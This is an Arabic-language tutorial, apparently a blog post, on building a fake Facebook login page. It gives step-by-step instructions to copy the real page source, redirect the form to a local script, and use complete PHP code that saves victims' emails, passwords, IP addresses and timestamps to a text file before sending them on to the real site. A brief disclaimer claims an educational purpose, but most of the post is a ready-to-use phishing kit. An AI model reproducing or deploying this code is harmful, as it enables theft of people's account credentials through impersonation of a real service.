اليوم سأقوم بشرح برمجة الصفحات المزورة في لغة الـ PHP وسأقوم بالتطبيق على صفحة دخول موقع الفيسبوك يمكن تطبيق الشرح على اي موقع آخر بمجرد معرفتك للأساسيات
أولاً سنقوم بإنشاء 3 ملفات
facebook.html
login.php
accounts.txt يحتاج إلى تصريح 777 ليتم الكتابة عليه
ثم نقوم بالدخول لصفحة الفيسبوك ونفتح مصدر الصفحة
الآن سنقوم بنسخ مصدر الصفحة كاملاً ونحفظه في ملف facebook.html
و سنعدل الـ action الخاص بنموذج الدخول login_form
<form id="login_form" action="https://www.facebook.com/login.php?login_attempt=1"إلى
ونأخذ اسم حقل اليوزر والباسوورد من فورم الدخول<form id="login_form" action="login.php"
والآن سننشىء ملف login.phpname="pass"name="email"
<?php$email = $_POST['email'];$password = $_POST['pass'];$ip = $_SERVER['REMOTE_ADDR'];$date = date("l:d:m:Y");$time = date("h:i:s");$data = " Email : $email \n Password : $password \n IP Address: $ip \n Date: $date \n Time: $time \n ########################################################### \n";$file = "accounts.txt";$x = fopen ($file,"a");fwrite ($x,$data);fclose($x);header('location:https://www.facebook.com/');?>
في بداية الملف قمنا بتمرير المدخلات email , pass عبر الـ post
ووضعنا متغير يحتوي على دالة لجلب الـ ip
وثم متغير للتاريخ ومتغير للوقت باستخدام دالة date
وثم متغير $data نضع فيه ما نريد طباعته على الملف النصي
ومتغير $file وضعت فيه اسم الملف النصي الذي سيتم الكتابة عليه
ثم قمنا بفتح الملف والكتابة عليه ومن ثم اغلاق الملف
وأخيراً استعملنا header للتحويل إلى الفيس بوك بعد ما قمنا بالكتابة على الملف جميع البيانات
النتيجة :)
* ملاحضة : الشرح للأغراض العلمية ولتوضيح الفكرة فقط وﻻ اشجع باستخدام ما ذكر في الشرح بأمور غير شرعية
” أفضل الصدقة أن يتعلم المسلم علما ثم يعلمه أخاه المسلم ،،